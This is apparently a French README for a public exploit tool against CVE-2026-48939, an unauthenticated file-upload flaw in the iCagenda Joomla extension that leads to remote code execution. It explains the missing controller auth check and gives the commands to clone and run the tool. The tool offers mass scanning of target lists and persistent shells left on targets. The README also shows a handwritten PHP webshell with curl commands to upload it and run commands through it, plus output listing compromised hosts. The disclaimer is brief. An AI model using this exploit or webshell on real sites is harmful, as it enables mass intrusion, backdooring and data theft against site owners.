
Exploit de téléchargement arbitraire de fichier et d'exécution de code à distance sans authentification pour l'extension iCagenda Joomla < 4.0.8 (CVSS 10.0)
CVE-2026-48939 est une vulnérabilité critique CVSS 10.0 dans l'extension de calendrier d'événements iCagenda pour Joomla. La fonction de pièce jointe du formulaire d'inscription aux événements en frontend applique des contrôles d'accès uniquement au niveau de la vue — pas au contrôleur — permettant un téléversement de fichier non authentifié sans validation d'extension.
Les fichiers téléversés atterrissent directement sous la racine web à /images/icagenda/frontend/attachments/ et sont immédiatement exécutables en PHP.
| Version iCagenda | Statut |
|---|---|
| 3.2.1 – 3.9.14 | Vulnérable |
| 4.0.0 – 4.0.7 | Vulnérable |
| 3.9.15 / 4.0.8+ | Corrigé |
Le contrôleur registration.submit traite les téléversements de fichiers sans appliquer la restriction d'accès « Inscrits uniquement » configurée dans les paramètres du composant. Les pièces jointes sont enregistrées avec leur extension d'origine sans aucune liste blanche, vérification de type MIME ou validation de contenu.
View Layer → "Registered Only" enforced (attempts to block)
Controller → No auth check whatsoever (trivially bypassed by POST)
File Handler → No extension allowlist, no MIME check, no content scan
Destination → Web-accessible directory → PHP executes directly
POST /index.php?option=com_icagenda&task=registration.submit
jform[attachment] = shell.php → saved to /images/icagenda/frontend/attachments/
GET /images/icagenda/frontend/attachments/shell_TIMESTAMP.php?cmd=id
→ PHP executed → RCE
git clone https://github.com/shinthink/CVE-2026-48939.git
cd CVE-2026-48939
pip install -r requirements.txt
# Cible unique
python cve_2026_48939.py -t target.com
# Exploitation de masse
python cve_2026_48939.py -f targets.txt
# Shell persistant (sans nettoyage)
python cve_2026_48939.py -t target.com --no-cleanup
# Enregistrer les résultats
python cve_2026_48939.py -f targets.txt -o rce.txt
-t, --target Cible unique (domaine ou IP)
-f, --file Liste de cibles, une par ligne
-o, --output Enregistrer les résultats RCE dans un fichier
--threads Travailleurs concurrents (défaut: 25)
--no-cleanup Laisser les shells sur la cible
-v, --verbose Afficher les détails
$ python cve_2026_48939.py -t target.com -v
CVE-2026-48939 — iCagenda Joomla RCE Exploit
CVSS 10.0 | Pre-Auth | File Upload → RCE
[+] POST registration.submit (jform[attachment]): HTTP 200
[+] Shell: https://target.com/images/icagenda/frontend/attachments/ic_a3f2b9c1.php
Host : target.com
iCagenda : YES v4.0.5
Vuln : YES
RCE : YES
Shell : https://target.com/images/icagenda/frontend/attachments/ic_a3f2b9c1.php
Output : uid=1001(www-data) gid=1001(www-data) groups=1001(www-data)
Time : 3.2s
CVE-2026-48939 iCagenda RCE Exploit
Targets: 500 | Threads: 25 | Cleanup: ON
-------------------------------------------------------
[RCE] target-1.com v4.0.5 3.2s
uid=1001(www-data) gid=1001(www-data)
[RCE] target-2.com v3.9.12 4.1s
uid=33(www-data) gid=33(www-data)
-------------------------------------------------------
Total: 500 | iCagenda: 23 | RCE: 8
-------------------------------------------------------
Étape 1 — Téléverser un webshell PHP
cat > shell.php << 'EOF'
<?php echo "OK|".php_uname(); system($_GET["c"]); ?>
EOF
curl -sk -X POST \
-F "title=Event" \
-F "jform[attachment][email protected];type=application/x-php" \
"https://target.com/index.php?option=com_icagenda&task=registration.submit"
Étape 2 — Exécuter des commandes
curl -sk "https://target.com/images/icagenda/frontend/attachments/shell_TIMESTAMP.php?c=id"
UNIQUEMENT À DES FINS ÉDUCATIVES ET DE TEST AUTORISÉ.
Ce logiciel est destiné aux professionnels de la sécurité effectuant des tests de pénétration autorisés, aux organisations auditant leur propre infrastructure et aux chercheurs étudiant l'exploitation des vulnérabilités.
L'accès non autorisé aux systèmes informatiques est illégal et peut violer :
- États-Unis : Computer Fraud and Abuse Act (18 U.S.C. 1030)
- Indonésie : UU ITE Pasal 30 & 46
- Union européenne : Directive 2013/40/UE
- Royaume-Uni : Computer Misuse Act 1990
Les auteurs déclinent toute responsabilité en cas d'usage abusif.
| Ressource | Lien |
|---|---|
| Avis IONIX | ionix.io/threat-center/cve-2026-48939 |
| Entrée NVD | CVE-2026-48939 |
| Journal des modifications iCagenda | icagenda.com/docs |
Ce projet n'est pas affilié à iCagenda ou Joomlic.